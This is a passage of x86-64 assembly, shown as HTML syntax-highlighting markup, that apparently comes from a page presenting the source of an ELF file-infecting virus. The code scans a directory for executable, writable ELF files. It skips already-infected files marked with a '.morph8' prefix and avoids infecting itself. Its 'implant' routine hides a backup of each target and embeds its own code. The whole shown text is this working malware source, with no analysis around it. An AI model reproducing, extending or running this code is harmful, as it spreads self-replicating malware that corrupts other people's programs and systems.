    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;r_buf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_getdents64&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.list_done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

&lt;span class="nl"&gt;.list_entry:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jge&lt;/span&gt; &lt;span class="nv"&gt;.list_loop&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;r_buf&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;word&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="c1"&gt;; d_reclen at offset 16&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;jg&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'.'&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.check_file&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'.'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.check_file:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcmp&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.chosen_one&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if filename starts with .morph8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

&lt;span class="nl"&gt;.see_hidden:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.is_hidden&lt;/span&gt;       &lt;span class="c1"&gt;; End of prefix - it's a hidden file&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_hidden&lt;/span&gt;     &lt;span class="c1"&gt;; Mismatch - not hidden&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.see_hidden&lt;/span&gt;

&lt;span class="nl"&gt;.is_hidden:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.not_hidden:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vxx_str&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strstr&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.found_vxx&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;X_OK&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_access&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_exec&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;W_OK&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_access&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_exec&lt;/span&gt;

    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.e_conditions&lt;/span&gt;

&lt;span class="nl"&gt;.not_exec:&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.e_conditions:&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.not_exists&lt;/span&gt;

    &lt;span class="c1"&gt;; Hidden file exists - been here, skip it&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.not_exists:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if we're trying to infect ourselves&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                &lt;span class="c1"&gt;; Save current filename&lt;/span&gt;

    &lt;span class="c1"&gt;; Get our own basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcmp&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_self_infection&lt;/span&gt; &lt;span class="c1"&gt;; If filenames match, skip infection&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if file is a valid ELF executable before infection&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;is_elf&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_non_elf&lt;/span&gt;        &lt;span class="c1"&gt;; Not a valid ELF, skip infection&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;implant&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.skip_self_infection:&lt;/span&gt;
    &lt;span class="c1"&gt;; Don't infect ourselves, just skip&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.skip_non_elf:&lt;/span&gt;
    &lt;span class="c1"&gt;; Not a valid ELF executable, skip infection&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.chosen_one:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.found_vxx:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nl"&gt;.skip_entry:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.list_entry&lt;/span&gt;

&lt;span class="nl"&gt;.list_done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;

&lt;span class="nl"&gt;.list_error:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;implant:&lt;/span&gt;                        &lt;span class="c1"&gt;; infect target executable&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="c1"&gt;; Validate input&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strlen&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="c1"&gt;; Check filename length bounds&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
    &lt;span class="nf"&gt;jg&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if we have code to embed&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jg&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;

    &lt;span class="c1"&gt;; 1: Create hidden backup of original file&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;768&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; Use third section for hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if hidden backup already exists&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
